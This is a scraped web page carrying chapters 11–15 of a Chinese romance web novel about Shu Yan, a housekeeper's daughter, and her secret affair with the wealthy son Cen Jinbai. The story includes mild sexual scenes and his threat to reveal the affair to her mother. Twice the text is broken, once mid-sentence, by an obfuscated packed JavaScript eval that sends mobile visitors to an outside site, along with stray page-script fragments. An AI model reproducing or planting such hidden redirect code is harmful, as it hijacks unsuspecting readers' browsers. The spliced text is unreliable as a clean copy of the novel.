;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975826|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是嘱咐着。 “你们在聊什么八卦呢?也跟我说说。”不知何时,秋月苓走过来。 周琴赶紧拉开和舒颜的距离。 “秋阿姨好。” “太太好。” 秋月苓又问了一遍他们在说什么。 周琴赶紧说:“我是看舒颜太瘦了,嘱咐她多吃些。”舒颜只好顺着点点头。 秋月苓打量着舒颜几秒,小姑娘确实瘦,脸小小的,露出的手腕细得好像一折就能折断,穿着黄色的毛衣站在那里,眼睛亮晶晶的,看人时带着一股子清澈劲。 “是太瘦了。”秋月苓赞同道。 两个人都说自己瘦,舒颜也不反驳,只说那以后我多吃些琴姨做的好吃的。 秋月苓望着舒颜的笑意,觉得她妈妈走后,舒颜的身上好像多了些人气。 聊着聊着秋月苓忽然问舒颜:“今天都没见白白,他去哪了吗?”她记得,前几日岑尽白跟舒颜跟得可紧了。 舒颜歪歪头,怎么俩人都在意岑尽白的去向。 “我怎么可能知道他去哪了。” 秋月苓狐疑的目光在半空中和周琴对上。 * 夜晚,那人不请自来。 舒颜的房门被打开,轻而稳的脚步声越来越近,舒颜扭头,高大巍峨的身影立于她的床头。 “我今天没叫你,还有,你怎么会有我房门的钥匙?” 舒颜即便摘下隐形眼镜,离得近了还是可以看清,她近视没有想象中那么严重。 就像是此刻,她好像看见一个不知名的在岑尽白的脸廓旁闪着光。 他将她从被窝里捞出来,大手掐住她的两条大腿,然盘在他的腰上,在她床上坐下,让舒颜坐在他大腿上。 “看看。”他身上的清冽气息铺面而来。 舒颜被他这一动作弄得一惊,但很快稳下来。看什么? 她的目光第一眼就放在他耳垂上那亮晶晶的上面,和她昨天在那个叫方芝的女孩身上看到的很像,但是好像比她那个更亮一些。 舒颜屏住呼吸,小心翼翼地上手去摸。 岑尽白被她摸的瑟缩一下,但是没躲,随着她的动作轻声说:“本来想两边都打的,但是别人说男人打一边更好看,我就在左耳打了两个,一个在耳垂,一个在耳骨,在这,你摸摸。” 他的声音很低,环绕在她的耳边,像是粘腻的糖浆,有种她怎么甩都甩不掉的错觉,此刻他带着自己的手,将她的手放在他的耳骨那里。 钻石的触感冰凉,划过她的指腹,摸起来棱角很锋利,但是他的带领下,怎么都不会划伤自己的手。 舒颜摸了一个又摸了另一个,反复摸了好几次,岑尽白也没说什么,就这样任由她摸。 但是他越来越炙热的体温和被抵着的触感,舒颜意识到岑尽白好像不太对劲了。 扶着她腰的手松开,一手将她放在他耳朵上的手包住,制止住她的动作。 “很喜欢?” 舒颜点点头。 “那你给我一点我喜欢的。”岑尽白哑声说。 舒颜也不知道自己是怎么了,觉得今天的自己应该是被蛊惑了,就这样吻了过去。 12. 第 12 章 唇齿交缠,是她主动擒住他的唇,他却不止想要这样,攻城掠池才是他想要的,与其在城门徘徊,不如攻进去,用诚意交换,主动当她的俘虏。 …… “别摸了。”他扶着她,明明是命令,却更像是下位者的恳求。 舒颜是不听的,毕竟她现在是占上风,脚下是他,坐骑也是他,怎么可能听他的话。 冬季里特别干燥,一场雨需要酝酿好久好久,舒颜觉得降落在自己身上的雨,也等了很久很久,以至于她等得心中干渴,脑海中一直想着怎么还不下怎么还不下,想开口祈求却死也不会张这个口。雨总会下的,因为那里需要。 岑尽白的左耳全是红红的,耳孔处有血结痂,她恶劣地揉搓,换来他有些急促的呼吸。 舒颜想,她怎么能这样呢? 后半夜的时候,她把岑尽白赶走了,却实在睡不着,被子沾上岑尽白的气息,让她有些烦躁。 她将手机打开,看到母亲在一小时前发来的信息 【颜颜,妈妈后天回来,你记得好好学习,按时吃饭。】 * 舒颜望着镜子中的自己,苍白的皮肤,双眼无神,眼下还带着明显没有睡好的乌青,刘海怎么看都是丑的,整个人也是垮的,就像是阴暗处走出来的女鬼。 她对镜子里的自己做了一个鬼脸,好丑。拿出化妆工具并不齐全的化妆包,想给自己眼下的乌青遮住,却发现自己根本没有遮瑕,只好作罢,涂了一个淡色的唇膏,将自己的头发理了理。 本来走出去好一会儿的舒颜,又重新出现在镜子前,对着镜子将自己的衣服整理一下,试图捻平衣服上的褶皱。 秋阿姨说,她想去定制几件礼服,等着生日会的时候穿,让舒颜给她掌掌眼。 舒颜一开始是拒绝的,说自己根本没什么审美,但是秋阿姨说自己实在找不到人陪自己去,拜托舒颜一定要跟她一起去,舒颜这才松口。 她总是呆在别墅里,秋月苓说她快要发霉了。 打开车门后座,秋月苓笑意盈盈:“颜颜,你总算是来了,白白话太少,都不怎么跟我说话的。” 舒颜坐进去才发现,今天开车的居然是岑尽白。有些小小的惊讶。 “阿姨你今天真好看。”舒颜喜欢秋月苓的长相,明艳大气,开口夸她也真诚,并不算是恭维。 秋月苓很高兴,拉着舒颜说:“你也很漂亮。”眼神瞟一眼后视镜重开车的岑尽白。 “我看你脸色有些不好看,不舒服?”秋月苓问。 “昨天晚上没睡好。” 后视镜中的一双蓝眸看过来,舒颜很快察觉到,但她看着秋月苓,没往后视镜那里看。 秋月苓说如果舒颜不舒服就不用勉强和她一起去,舒颜摇摇头说只是脸色不好看,没有不舒服。 秋月苓从包里拿出一支口红,那支口红上面的纹路繁复精美,“给你涂点口红,会显得脸色好看些,我知道你们女孩子的形象管理很重要。” 舒颜被按住,岑尽白开车很稳,这支口红涂得也很稳。 涂完之后舒颜不知为何看向后视镜,正好与岑尽白赤裸的目光对上,他率先移开视线。 想抿唇,但想到唇上有口红,她又停止了这个动作。 “这口红颜色挺适合你的。”秋月苓在旁边来了一句。 舒颜只是腼腆笑笑,说起别的话题。 突然秋月苓的话题就扯道了岑尽白,跟舒颜说:“他居然打了耳钉,耳蜗那种有骨头的地方都打,看着我都疼,最近是真风骚啊。” 舒颜想起昨晚她一直摸的,耳根子悄悄红了,不应话。 秋月苓脸上挂着意味不明的笑意。 车子平稳前进,在一栋大楼面前停下,好久没说话的岑尽白说:“到了。” 有人为舒颜拉开门,舒颜小声道谢,黑西装的男人有些受宠若惊,有些羞涩地冲她一笑,然后接过岑尽白手中的车钥匙,收到男人蓝色眼眸中带着的警告,唇角笑意一僵,赶紧帮顾客停车。 秋月苓踩着高跟鞋亭亭而立,旁边的岑尽白虽然一身的休闲装扮,但贵气不掩,舒颜觉得自己今天在镜子面前像一个小丑一样。 这栋大楼,就是那天方芝口中的万方,岑家自己的产业。 又来了一个黑西服的男人给他们引路,带着他们走进电梯,按下38楼的按键。 秋月苓依旧在和舒颜搭话,可能是怕舒颜不习惯,一直在跟舒颜开玩笑,让她放轻松。 舒颜将脊背挺直,淡笑着。 岑尽白站在舒颜后面,目光不知落在哪里。 失重感消失,叮的一声门就开了,门外仍旧站着一排的接应者。一眼扫去,这一层全是衣服,按照颜色款式分类,但珠光宝气,视觉上很舒适,灯光照在这些布料极好的衣服上,泛着轻盈的光。 “这边请。” 三人跟着一位穿着职业装、挂着标准露齿笑的女士,走进间舒适的房间,房间内飘着淡雅的香,桌上摆着精致好看的甜点,秋月苓带着舒颜坐在柔软的沙发上。 岑尽白坐在舒颜旁边的一个沙发上,跟侍者吩咐:“来三杯温水。” 秋月苓看了岑尽白一眼,又看了看舒颜有些苍白的小脸,明白过来。 “把你们最近新出的款拿过来,哦还有最近设计师的草图也拿过来。”秋月苓明艳大气的脸上是与生俱来的上位者姿态,坐在那里俨然像个尊贵的王后。 舒颜手里捧着一杯温水,暗暗瞧着。 没一会儿,就有人推着一排衣服进来,一个年轻的女士将一个装订很厚的本子递到秋月苓手中。 秋月苓冲着舒颜招招手:“颜颜过来,和我一起选。” 舒颜靠过去,和秋月苓一起看那些设计师的草图。 只不过舒颜从没接触过礼服,她不敢给什么肯定的建议,但每当秋月苓问起,她就凭借着自己的感觉,来判断这件衣服到底适不适合穿在秋月苓身上,两人相谈甚欢。 “这件好看吗?” 秋月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981204|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苓所指的是一件拖地的白色长裙,抹胸紧腰款,纹路从左胸那里斜着延伸,层层堆叠的每一层上面都坠着闪闪的钻,光是在图片上看就已经很夺目了。 舒颜没做他想:“很美,但是我认为阿姨更适合前面那款紫色的裙子,那条裙子能将您的气质完美烘托出来,我认为。” “你喜欢这条裙子吗?” 舒颜望着秋月苓含笑的表情,心像是被敲了一下,但随即安慰自己。 “我当然喜欢,刚刚看得每一条裙子,我都很喜欢呢。”舒颜笑着回答,然后看向本子。 … 秋月苓最后挑了八件礼服,三件成衣,其他五件都是在未完成的稿纸,设计师心惊胆战地接过去,保证会尽快做出来。 高定礼服做工繁琐,周期不短,若是别人,至少要提前三个月预定,但是秋月苓不用,她选的礼服,一定要加急做出来,做工还不能粗糙应付。每次接待自家老板娘,这里的人都是心惊肉跳的。 岑尽白在一旁倒是耐心,问侍者要了一本书,她们在挑礼服,他就在一旁安静看书,偶尔她们对话激烈,他会抬头看一眼,等她们挑完了,他就把书放下。 三人又一起去了26楼,清一色的女士鞋,舒颜已经习惯了这栋楼的夸张服务,跟秋月苓说她先看着,自己想上厕所。 秋月苓让人带着她去,舒颜看着那女侍者脸上的标准微笑,拒绝了,让她给指了路。 舒颜顺着指的那个方向徘徊了好久,兀自望着这里的琳琅满目,脚下步子放缓,经过的职业装侍者看向她,打量了一下她身上的装扮,选择去做自己的事情。 舒颜在洗手台前,再一次望着镜子中的自己,秋月苓给她涂的口红,在喝水的时候蹭掉一点,舒颜伸手点在自己的唇上,对着镜子将唇上的口红抹匀。 在出来的时候,却在墙角碰到了站在那里的岑尽白。 “你怎么在这里?” “来找你。”他盯着她的唇。 … “唔……你轻点。” 俩人怎么亲起来的,舒雅自己也说不上来,她只记得他的目光一直紧锁她的唇瓣,她被盯得闭上了眼睛,唇上就撵上来他的手指,不重不轻,后来就是他的舌。 “你唇上的口红很好看。”因为你变得好看。 … “怎么去了那么久?”秋月苓试完了十双鞋之后,才看见舒颜回来。 “有些迷路了。”舒颜找借口。 “怎么看你脸色比刚刚好了,红润了些,唇上的口红怎么没了?你过来,我再帮你补补。” 舒颜生怕秋月苓再问什么别的,坐到秋月苓身旁,老老实实让她给自己补口红。 “怎么感觉唇色也深了不少,像是……”秋月苓的话顿住,看着眸光微闪的舒颜,不再说下去。 但补完口红之后,几不可察的来了一句:“也不知道岑尽白那小子跑哪去了,你前脚走他后脚就溜了,还没岑方启好使呢,他还是全程陪着我,没一点不耐心的。” 13. 第 13 章 舒颜不接话,盯着秋月苓脚上那双墨绿色珍珠高跟,夸赞一句:“这双鞋很好看,和您挑得那件黑色的裙子很搭。” “是吗?我一眼就看中了。”秋月苓得意笑道,有些小女孩的情态。 过了一会儿,岑尽白回来了,神色淡淡,跟刚刚和她接吻时的沉溺模样大相径庭。 舒颜陪着秋月苓又挑了一会儿,这才离开。 万方两个字伫立在这座大楼前面,舒颜站在岑家母子身边,回头望向这两个字,大概三个人的高度,而两个大字的后面,是巍峨数倍的大厦。 她无比清醒地认识到,自己的生活和岑家人的生活,是天上月和地下泥的区别。 “在看什么?”岑尽白干净的声音在耳畔响起。 “颜颜,我们回去了,快上来。”已经坐在车上的秋月苓向舒颜招手。 舒颜看了岑尽白一眼,冲着车里的秋月苓一笑,这才钻进车里。 大楼渐渐远去,秋月苓的声音在车厢里回荡:“颜颜要是喜欢万方,以后可以陪我经常来。” * 舒颜望着床上的口红礼盒,怔愣片刻拿起。 边缘是新鲜欲滴的白色玫瑰,中间是五只还带着包装的口红,静静地躺在柔软的拉菲草上。舒颜大学时买过几支口红,几块钱几十块钱的都买过,最后都被她扔了。 五支口红上面的商标很熟悉,室友方晴晴也有一支,是她攒了三个月不吃早饭的钱买的,宝贝得很。 舒颜摸了摸,最终还是将礼盒合上,放到了床底下。 明天舒芸就要回来了,可不能让她发现。 做完这些没一会儿,门外就响起了敲门声。 …… 见到舒芸的那一秒,舒颜下意识的反应是她更瘦了,脸上的皱纹又变多了,回来几乎没什么休息时刻,立即勤勤恳恳开始自己的保姆工作,一如既往地督促着舒颜学习。 “回去你外婆还问我你的成绩,说你考研考不上就去考公,我当时就跟你外婆生气,但是她也病着,我没说什么。颜颜,你得听妈妈的,为妈妈争口气,一定要考上研究生知道吗?你之前不是都能保研吗?怎么就不能考上呢?” 每每提起舒颜考研这件事,舒芸就像是魔怔了一样,手上的活继续干,眼泪却是往下掉,然后用肩膀上的衣服蹭蹭脸,转头希冀地看向舒颜:“妈相信你。” 舒颜这时候一定是认真捧着考研书在看,然后麻木地对着舒芸点头:“知道了妈,你放心吧。” * 舒芸回来了,琴姨也就走了,别墅里没了八卦声,舒颜像是被焊在房间的椅子上一样,只是一味地看书,一味地刷题。 岑尽白会在夜晚来找她,她会在他来之后将房间的门锁上,而后与他缠绵。 某天夜晚岑尽白提出:“我带你出去玩吧。” 舒颜这时候已经很累了,驱赶过岑尽白一次发现他还没走,在她身后玩着她的头发。 “出不去的,没办法出去的,我妈不会让我出去的。” 他捻起她的几根发丝,绕在自己手指上,像是他们之间有了某种联系一样,岑尽白的脸上露出痴迷的神态。 他说:“我有办法。” 舒颜被他句弄得心上一阵酥麻,内心的那一点希冀快要燃起,却在想到舒芸向自己举起刀的场景时熄灭。她尽量把这一句当做是岑尽白贤者时刻对女人口无遮拦的许诺。 不知不觉中,舒颜陷入了迷糊的睡眠状态,身侧的人还没有被她赶走。 也许是今天太累了。 … 早上房门被敲响。 “颜颜,可以起床了。” 舒颜睁开眼,下意识看向床的另外一侧。 提起来的那口气瞬间下去,庆幸岑尽白没有大胆到在她房间睡觉。 舒芸很快将早饭端进来,从舒芸回来,舒颜就又过上了和之前一样的生活,衣来伸手饭来张口。 舒芸在看着舒颜吃饭时忽然有些为难地说:“今天太太忽然说让我跟着她,不知道要去干什么,就说是陪她,我也不能拒绝,颜颜你自己一个人在家要注意。” 舒颜吃饭的动作一顿,而后默默点点头。 舒芸走之前跟舒颜打了个招呼,舒颜保证一定会在家认真学习。 然后,岑尽白就出现在她的房间。 “一起去冒险吗?爱丽丝。”他蓝眸弯弯,是大海那样无拘无束的颜色,与她隔着一扇门。 舒颜将手越过那道门,然后被他的手紧握住。 “想去哪?” 舒颜想了想,答道:“不知道,我很想去的地方现在都不能去。” “那跟着我好吗?”岑尽白眸色渐深,像是期待着她的回答。 舒颜点头。 去哪都无所谓,她不想再坐在椅子上了面对满是书的桌子了。 岑尽白今日穿着一身黑色的大衣,脖子上围着灰色的毛衣,舒颜是一身和他恰好相反的颜色。 岑尽白开车,舒颜坐在副驾,看着窗外一闪而过的景色,心中浮起一闪而过的兴奋。 车子在一个空旷无人的地方停下,舒颜下车发现这里并不是什么停车场,风很大,岑尽白过来将脖子上的围巾围在她脖子上,岑尽白身上的气息将她包裹,舒颜将自己被围巾遮主的脸扒拉出来,闻到空气中咸涩的气息。 “是大海!”舒颜像是猜谜语猜到了一样,眼睛很亮,整个人都有些欢呼。 “嗯。”岑尽白将舒颜的一只手牵住,放进自己的大衣口袋里,拉着她转身向海边走去。 沙滩上被踩出一大一小的脚印,脚步越来越向无边无际的大海前进,三两只海鸥飞过,不作停留,它们是自由的。 “我觉得你会喜欢海。”岑尽白这样说。 “你怎么知道?”舒颜歪头看他。 岑尽白的目光一直是在她身上的,她转头就能对上他的眼睛。 “猜的。” 两个人沿着沙滩走,海风呼呼的,还真挺冷,沙滩外围有一排白色的小房间。 “冷不冷?”岑尽白伸手去摸她的脸颊。 舒颜没来得及躲,垂眸望着他露出的一截冷白的手腕。 她的脸蛋冰冰凉凉的,岑尽白没说什么,但不由分将她拉近沙滩旁边的白色小房间。 里面有人,是卖些海鸥吃的和一些贝壳类的装饰品,老板看他们进来以为是要买什么,但是俩人不买。 老板娘也没说什么,只笑着打量:“怪养眼的小情侣,想不明白冬天来海边?你们看海边有人吗?” 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“喝完了吗?” “喝,喝完了。”舒颜将水瓶递给他。 岑尽白将瓶盖很快拧好,然后猝然倾身,大手穿过她的腿弯,一手掌住她的脊背,她整个人腾空,转了半圈之后坐到了一双大腿上。 “你干什么!” 刚喝完水的唇瓣上水润润,就算是在质问他也如此好看。 “我想吻你。”岑尽白诚实道。 “可以吗?” 他将她整个人都禁锢在怀里,驾驶座就那么大,两人衣襟相贴,摩擦的声音不绝于耳。 车内还在升温。 … 被岑尽白松开后,舒颜像一条搁浅的鱼一样大口呼吸,脑子里闪过的全是些不可说片段。 “开窗。” 岑尽白依言降下车窗。 海风铺面而来,微微吹散车内的燥热气息。海浪拍打的声音也随着风传入耳中。 岑尽白同样在调整着呼吸以及抑制住自己的欲望,他只能趴在她的肩头,轻抚她的发丝,安抚自己也在安抚她,让舒颜产生一种错觉,她在被需要,她对他很重要。 “你知道吗?我真的很喜欢大海,喜欢大海的颜色,喜欢大海的宽广。”舒颜忽然说。 这里只有一个人,俩人认识不过一二十天,她怎么就说出这样的话呢。 “你说大海那么辽阔,还有一个词语叫海纳百川,我也幻想有一天自己能被大海所接受。有一次海水已经漫上我的腰了,我已经想象到自己变成一条鱼的样子了,但是大海好像并不是很喜欢我,它一直在用浪花推我,我就一直跟它较劲,到最后我还是没有去到海里,它不接受我,我就回来了。”舒颜的声音很轻,飘在窗外的海风中,没一会儿就散了。 颈间的呼吸渐渐平稳,轻抚发丝的手挪到她的腰间,将她紧紧锢住,舒颜低头看去,那双大手青筋毕露。 “我接受你,接受你的所有。” 舒颜轻笑。 没人能接受她,更没人能接受她的所有。 14. 第 14 章 舒颜没对岑尽白的那句话进行回应,仅仅只是说了一句:“看完落日再回去吧。” 岑尽白从她颈间抽出,望着她恬静的侧脸,道:“好。” 海边的落日要慢慢等待,那种壮丽只有几刻,所有的等待换来不过片刻眼中景,一闪而过,可就是有人将这样的时刻称作为“浪漫”。 舒颜不是为了浪漫,她仅仅只是为了逃掉些什么,而身边有人陪着或者没有,都没有关系,陪着自己的那个人是谁,也没有关系。 这个时刻,是海水与天空颜色相差最大的时刻,一火红一寂静,一绚烂一寡淡,拼凑在一起,竟也有说不上来的和谐。 岑尽白就是在这个时刻吻上来,像是故意打扰她欣赏这一难得一见的景色。 她也少见地热烈回应。 “这个时候,好像只有吻你,你才能不去想别的事情。”岑尽白的脸在落日余晖下,显得更加俊逸,眼眸被浸染成深蓝色,给她一种神性的幻觉。 他们两个站在海边的一块大岩石上,他的双手捧着她的脸,强迫她只看向他。 “如果可以,我希望成为你的烦恼。”他忽然这样说。 “什么?” 岑尽白将目光错开,低头看了一眼手机,说:“好了,爱丽丝的冒险结束了,我们该回去了。” * 两人回到别墅没多久,又一辆车子进入别墅,秋月苓带着舒芸后脚回来。 “你信我,舒颜一定会喜欢这双鞋的。”刚进门,就听见秋月苓在劝说着说些什么。 “女孩子长大了,都要有一双好看的高跟鞋,这双鞋子如果不是男朋友送的,那就一定要最好的朋友来送,你不是说了吗,你家颜颜根本没有高跟鞋,既然没有人给她送,你是她的妈妈,你来送她也一样会高兴的。” “可是……” “没什么可是的了,颜颜已经二十二岁了吧,身为妈妈,不能剥夺她爱美的权利,你应该爱她,应该教她爱自己。”秋月苓说到这里,恰好已经进了别墅。 身后的舒芸提着一个粉色方形礼盒,脸色凝重。 舒颜和岑尽白,也是刚回来,她们进门就打了照面。 “颜颜,白白,你们……”也刚回来啊。秋月苓冲岑尽白使了一个眼色。 岑尽白古井无波。 舒颜也没想到居然那么险,差一点就比他们晚了。 “秋阿姨,”舒颜对秋月苓点头,紧接着看向舒芸,“妈。” “你怎么在楼下?”在看到舒颜的那一秒,舒芸将手中的礼盒藏到身后,并且照常发出质问。 舒颜现在该呆的地方,应该是三楼的房间,安安静静地坐在椅子上,认真学习,而不是和岑尽白并肩站在一楼,和刚回来的她巧合碰面。 岑尽白刚要说什么,被秋月苓打断:“颜颜,你还不知道吧,你妈妈可是给你买了一双好看的高跟鞋哦,那双高跟鞋……” “谁说是给她买的!”舒芸也急急地打断了秋月苓的话,有些慌乱地说,“是给我自己买的。” 舒芸将背在身后的礼盒拿出,上面是某个高奢品牌,怕是要花舒芸一个月的工资。 “舒芸,我们不是说好了……”秋月苓脸上的惊讶掩饰不住,她没想到,回到家的舒芸忽然说了反话。 “太太,这确实是给我自己买的。”舒芸话语坚定。 舒芸看着自己母亲的脸,眼中闪过一丝情绪,又很快切换到正常脸色。 那抹情绪,恰好被身边看完全程的岑尽白捕捉到。 这场母子间的较量,不,这根本不是什么较量,一直都是单方面的,因为有岑家母子在场,不了了之。 …… 几天后的一个夜晚,舒颜的房门被敲响。 在看到是岑尽白的那一刻,舒颜眼中闪烁着的微光灭了。 “不欢迎?”岑尽白问。 “不是,你来太早了。”才八点,舒芸会来查岗的。 在岑尽白的视角下,舒颜低着头不看他,这让他很不爽,很想攥住她的下巴,将她的头抬起来,但是看着她乖巧地站在自己面前,鸦羽般的睫毛整齐地眨呀眨呀的,就压下心中的那点强迫。 “想芸姨来?”岑尽白问。 舒颜听此跟警铃一样,抬起头警惕地望着他,他今天换了耳钉,黑曜石般的颜色,将他的气质更加不羁。 舒颜在他的目光中摇摇头。 岑尽白站在门外太显眼,舒颜又赶不走他,只好让他进房间。 他每次来她房间,都是在黑暗中,那时候他只会上她的床,来不及窥视她房间里的其他物件。 秋月苓将这间房装修得很公主,落地窗,奶白色的窗帘,全粉色的墙纸,坠着些闪闪的流苏,桌子上摆着的书,和这间屋子不是很搭。 岑尽白坐在了舒颜刚刚坐着的那张椅子上。 两个人都是话很少的人,他们之间也没有任何可以交流的话题,最多的交流就是在床上,他会问她再重一点还是轻一点、快一点还是轻一点。 舒颜是站着的,无法承受他的视线,终于开口:“你来干什么?” “你说呢?” 他们两个之间,除了那些事情,还有什么其他事情将两个人联系在一起吗? 岑尽白将舒颜拉到自己腿上,让她坐好。 “你已经三天没有找我了。”三天都没有跟我说过一个字。 他发现了,只要她不找他,他根本没有任何机会接近她。 舒颜倒是老老实实坐在他的腿上,没有怎么动弹,对于岑尽白的质问没有什么反应,只说:“我们是性.伴侣关系,虽然这种关系不能见光,但是还是要讲究你情我愿,各取所需,我不找你,说明我没有需求,你也不用来找我。” 岑尽白在暗处快要将自己的骨头捏碎。 “性.伴侣?” “你情我愿?各取所需?” 岑尽白下巴紧绷,几乎咬着牙将这话问出来,她仍旧乖巧坐在自己腿上,轻得跟羽毛一样。 “难道不是吗?”她眼波流转,抬眼对上他克制不住的目光。 “不是。” “我以为我们在谈恋爱。” 舒颜的表情有些不理解:“我从没这样说过,我以为这是心照不宣。” “好一个心照不宣。”岑尽白忽然笑起来,笑得很冷,手上的动作也加重,一双大掌来到她的腰间。< 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然后对岑尽白着急小声说:“你先在阳台呆着。” 岑尽白看她害怕的样子,终究还是有些心软,听了她的恳求。 舒颜整理了一下乱了的头发,开门。 窗帘紧闭,房间内只有舒颜一个人。 “算出来了吗?”舒芸端着切好的水果盘,走进屋内。 桌子上确实摆着一本书,上面还有字迹。 “算出来了。”舒颜坐到刚刚两人接吻的位置上,上面还有余温,舒颜的脸有些发热。 都说血缘是一种奇怪的东西,舒芸望着舒颜,心中觉得有什么不太对劲,隐隐有不好的预感,但是一切都在正常进行。 “最近学习还顺利吗?”舒芸问。 “都挺好的。” “不舒服一定跟妈说。”舒芸嘱咐一句,“我去睡觉了,你记得来拿手机,也别学很晚。” “好。” 舒芸关上门,看了一眼女儿,视线掠过窗帘,关上了房门。 舒颜心中松口气,将关在阳台上的男人放出来。 岑尽白的脸色依旧不好,她还是第一次看到他冷脸。 舒颜觉得有些累:“实在不行,结束吧。” “结束什么?” “这样的关系,感觉挺委屈你的,让你夜晚来找我,还让你躲阳台。”您可是金贵的大少爷。 岑尽白听到她这样形容这段关系,已经不能接受了,现在她说结束,更不能接受。 “你怎么知道我委屈?我不觉得委屈。” 舒颜再次盯着岑尽白看,确定他不是在说反话。 “你是说,你还能忍受?” 岑尽白被她气笑,说:“我赞同你的想法,是时候重新定义我们的关系,其他我都尊重你的意愿。” 舒颜看着他那张完美得像吸血鬼的脸,觉得自己太过吝啬,以为他要从这里拿走什么宝贵的东西。 但是她什么都没有。 “什么关系?” 15. 第 15 章 “正常的男女朋友关系。”岑尽白微笑,又回到之前那谦谦君子的模样。 “不行,我不打算恋爱。”这样事情会变得麻烦起来,如果舒芸知道了,会更加麻烦。 “为什么?”谈话绕回最初的起点。 “因为——”舒颜尾调拉长,靠近他,浓烈的视线相互碰撞,“这样更刺激。” 她的心快跳出来了。 她又想忽悠他。 …… 从舒颜的房间出来,岑尽白进了画室。 深夜在他的眉眼染上低压,拿着画笔的手肆意挥动,他喜欢用极其浓艳的色彩,将白纸变色,这时候他心中会有一种诡异的快感。 第一次见到他,他想,她真是一个寡淡的人,恰好就像那一张白纸。 没兴趣。 染料渲染,力透纸背,岑尽白眼中的画纸,就这样被糟蹋的一塌糊涂,没有规律的线条,没有任何色彩搭配的美感。 画笔落地,画架像个迟暮的老人一样歪倒在地上,重物落地的声音在夜晚显得突兀。 四处散落着颜料,五彩斑斓,岑尽白的手上和身上也不免遭殃。 他站起身来,急急喘气,幽深的蓝色眼睛定焦在不远处裱着的肖像画上。 画上女孩一身红色毛衣,热烈如火,捧着书的样子却恬静无比,颇有岁月静好之感。 整个画室,唯有那幅画是干净的。 * 别墅里渐渐忙碌起来,每天进进出出的人很多,因为别墅的女主人秋月苓要过生日了。 琴姨也被招回来了,因为太过忙碌,别墅里人也多,舒芸顾不上舒颜,来查岗的次数就变少了。 舒颜也乐得自在,在舒芸面前假装捧着个书,却偷偷溜进别墅里的花园,这里有大草坪,听说明晚的舞会就在这里开展。 有人在修剪草坪,有人在装饰桌子椅子,大家都在忙碌,只有舒颜在这里闲着。 无意间她看到有人捧着几大束的腊梅进来,隔老远都能闻间腊梅情冷的香味,琴姨正在指挥着,看见舒颜在那,给她一大束。 满怀的梅花香气,让舒颜差点晃了神,是黄色的梅花,枝干笔直挺拔,主枝干和分枝干上都开着一小朵一小朵的梅花。 木头怎么上面也能开花? “太太说黄梅没有别的梅花那样颜色艳丽,桌上摆一簇也算是淡雅,舒小姐也可以在自己房间里摆上一束,可香了,还很持久。” 舒颜捧着梅花,愣愣地点点头。 忽然一只手搭在她肩膀上。 岑尽白带着浅浅笑意:“找到你了。” 像是刚注意到琴姨,岑尽白跟她打了个招呼。 舒颜怀中的梅花阻止了她拍掉岑尽白的手,但看到琴姨那亮晶晶的八卦目光,舒颜选择随他去吧。 琴姨虽然八卦,但是一个有眼色的人,人家小情侣在一起,她就不当这个电灯泡了。 “我还要去忙,就先不闲聊了。”琴姨笑着说完便走了。 肩膀上的手存在感极强,舒颜很少在别人面前和异性亲近,有些不适应地做了一个想摆脱的动作,却发现根本不行。 舒颜:“你找我有什么事吗?” 岑尽白将她怀中的梅花接过,她需要两只手才能拿完的梅花,他一只手就能攥住。 “有一份礼物要送给你。”岑尽白注视着她笑,黑色耳钉在阳光下闪烁着。 “我不需要你的礼物。”她不想欠他什么。 岑尽白笑意不可察觉地停顿,但看起来根本没有受到影响。 他面对着她,俯身,他手中的梅花就像是被他们两个人一同抱住,混合着梅花香的清冽气息在她耳畔:“我好像看见,芸姨在往这个方向来。” 舒颜瞬间仰头去看他,目光透露着不可思议。 她最终妥协:“什么礼物?” 他一手捏着她被风吹的碎发,一手抱着清香的梅花:“我放在你房间了,一起去看看吧。” 舒颜警惕地看着四周,大家都在忙。 “别动手动脚。” 岑尽白的眼神暗了暗,极慢地收回手。 …… 岑尽白口中的礼物,是一套礼服,还有一双高跟靴。 白色抹胸长裙,胸口和裙摆处延伸的着水晶,闪闪发光,美到不敢触摸,是舒颜只有在手机上才会看到的裙子。高跟鞋是与裙子配套的,简单大气的白色,点缀着几颗晶莹剔透的珍珠,宛如每一个穿上它的人,就能从灰姑娘变成公主。 可是,“我不需要这些。这是你妈妈的生日,没道理你送我礼物。” “是,但是我想送你,就送了,收下吧。” 陪秋月苓去万方的那一天,他听见了他们的对话,并且在询问秋月苓之后,得知她们谈论的就是这条裙子,岑尽白直接定下了这条裙子,甚至亲自挑选了与之相配的鞋。 但舒颜不接受。 “我妈妈的生日,和我想送你礼物,这并不冲突,舒颜,我说过了,我不想和你成为性.伴侣关系,你可以试着,和我恋爱。”岑尽白将花搁在了桌子上,上面撒着的水,浸湿了他的手指。 “或者,你不接受也行,如果你不介意你妈妈知道我们的事的话。” 岑尽白说这话的时候,拿出一方银黑色的手帕,细致地擦着拿花的那只手,目光有些懒散地望着有些动容的舒颜。 “你……”舒颜想说什么,却没说出来。 “怎么,在心里骂我?” 舒颜退后几步,抿唇,别过眼不去看他。 是想骂,但是没骂出口。她更想骂自己蠢,招惹了个毒蛇,为了一己私欲,目前情况来看,她像是被他捏住了七寸。 岑尽白正要上前,舒芸来了,他只好停住了脚步。 